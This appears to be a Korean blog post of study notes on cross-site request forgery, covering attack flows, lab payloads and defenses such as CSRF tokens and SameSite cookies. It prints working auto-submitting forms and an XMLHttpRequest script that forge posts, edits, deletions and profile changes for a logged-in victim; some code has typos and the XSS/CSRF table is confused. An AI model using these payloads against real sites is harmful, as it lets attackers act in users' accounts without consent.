CSRF란
정의
: Cross-Site Request Forgery, 사이트간 요청 위조
사용자가 의도하지 않은 작업을 수행하도록 사용자 요청 위조
공격을 통해 할 수 있는 것
- 사용자 정보 수정
- pw 변경
- 탈퇴
- 게시글 작성/수정/삭제 등
XSS와 CSRF의 차이
| XSS | CSRF | |
| 공격 유형 | 공격자가 의도한 서버로 이동 | 사용자가 의도하지 않은 요청으로 악의적인 행위를 함 |
| 최종 공격대상 | 사용자 | 웹 서버 |
| 목표 | 사용자에게 악의적인 행위 |
공격
공격자에 의해 스크립트가 발생하여(client side script) 자기가 뜻하지 않은 요청이 수행됨
(ex. 게시글을 읽으려고만 했는데 정보가 수정됨)
공격원리 분석
유형1. 하나의 웹서비스에서 발생
1. pw 변경 스크립트를 특정 게시글에 작성(stored)
2. 인증된 사용자가 1의 게시글을 읽고 악성 스크립트가 사용자에 뿌려짐
3. 웹 브라우저에서 해당 스크립트가 발생
4. 사용자는 pw 변경 요청을 서버에 보냄(요청 변조 | 대신 이 사이트에 인증이 된 상태여야 함)
유형2. 웹서비스 분리
1. 사용자에게 타 사이트에서 회원 탈퇴를 하는 스크립트가 담긴 링크를 보냄(공격자의 웹 서버 or 게시글을 올릴 수 있는 다른 사이트)
2. 사용자가 게시글을 읽고 악성 스크립트가 사용자에 뿌려짐
3. 공격자가 요청한 타 사이트에서 탈퇴가 됨(타 사이트에 인증이 된 사용자여야함)
실습
기본 방법
1. xss 취약점이 있는지 확인한다
2.어떤 입력을 받는지 확인하고 구문을 작성한다
유형별 공격 구문
1) 남의 계정으로 글작성
<form action="{요청대상 url}" method="POST" enctype="multipart/form-data">
<input type="hidden" name="title" value="해커가 무단으로 작성" />
<input type="hidden" name="password" value="test" />
<input type="hidden" name="content" value="test" />
<input type="hidden" name="mode" value="write" />
<input type="submit"/>
</form>
코드 자체는 틀리지 않기 때문에 서버는 이를 막지 않는다
1-1) 자동요청 만들기
<body onload="document.forms[0].submit()">
<form action="{요청대상 url}" method="POST" enctype="multipart/form-data">
<input type="hidden" name="title" value="해커가 무단으로 작성" />
<input type="hidden" name="password" value="test" />
<input type="hidden" name="content" value="test" />
<input type="hidden" name="mode" value="write" />
<input type="submit"/>
</form>
</body>
2) 남의 글 수정
- 글 입력값(페이로드) 확인(특히 쿼리스트링 부분)
<body onload="document.forms[0].submit()">
<form action="{요청대상 url}" method="POST" enctype="multipart/form-data">
<input type="hidden" name="title" value="해커가 무단으로 작성" />
<input type="hidden" name="password" value="test" />
<input type="hidden" name="content" value="test" />
<input type="hidden" name="idx" value="{해당 글의 id}"/>
<input type="hidden" name="mode" value="modify" />
<input type="submit"/>
</form>
</body>
3) 남의 글 삭제
<body onload="document.forms[0].submit()">
<form action="{요청대상 url}" method="POST"/>
<input type="hidden" name="idx" value="{해당 글의 id}"/>
<input type="hidden" name="mode" value="delete" />
<input type="submit"/>
</form>
</body>
4)사이트가 2개일 때: 모든 url을 다 입력해야한다
※ get방식으로 할땐 이미지 태그 많이 사용
Ajax 사용
1. jquery 사용
<script> 태그 사용할 줄 알아야 함
해당 버전을 사용하지 않으면 import 필요
2.xml http request 객체 사용
<script>
var xhp = new XMLHttpReqeust();
xhp.open("POST", "/insecure_website/index.php?page=mypage", true);
xhp.setRequestHeader("Content-Type", "application/x-www-from-urlencoded");
xhp.send("gubun=action&name=희생자&password=test&email=victim@naver.com&company=회사");
</script>
대응방안
1. referer 값 검증
A라는 페이지에서 B로 이동할 때 레퍼 헤더에 A사이트 url에 대한 정보가 들어간다
요청이 적절한 사이트에 온건지 검증
but, 우회가 발생될 수도 있다
2. csrf
난수화 된 임의의 토큰을 세션에 넣고 해당 토큰을 form에 입력값으로 전달한다
요청하는 사용자의 세션 토큰값과 폼의 파라미터 토큰 값을 비교
토큰 값은 폼에 접근할때마다 달라지게 하여 예측할 수 없게 한다
세션에 주입된 토큰값을 알아야 우회 가능
사용자가 애초에 폼 태그에 접근하지 않앗을거 때문에(게시글은 해커가 올린거니까) 애초에 토큰이 없음
토큰 = 시간, 세션ID 등을 암호화해서 담는다
검증 후 토큰 폐기(그렇지 않으면 재사용 공격 가능성 있음)
[상세원리]
1. 폼 페이지(입력이 있는 페이지) -> 액션이 이뤄지는 액션 페이지(입력된 값을 통해 특정 행위를 하는 페이지)
2. 폼페이지에서 토큰을 발급하고 액션 페이지에 전달
3. 액션 페이지는 토큰 유효성을 검증함
3. 인증 로직 사용/CAPCHA 사용
4. samesite cookie
사이트 간 요청의 경우 samesite 적용이 됐을 때 도메인이 다르면 해당 사이트로 쿠키가 실리지 않게 됨
'Security > 취약점분석' 카테고리의 다른 글
| [BackDoor] 섹션8. 파일 업로드 취약점 (0) | 2024.05.23 |
|---|---|
| [BackDoor] 섹션7. 파일 업로드 취약점 (0) | 2024.05.23 |
| [BackDoor] 섹션5. XSS (0) | 2024.05.23 |
| [BackDoor] 섹션4. XXE Injection (0) | 2024.05.23 |
| [BackDoor] 섹션3. OS Command Injection (0) | 2024.05.23 |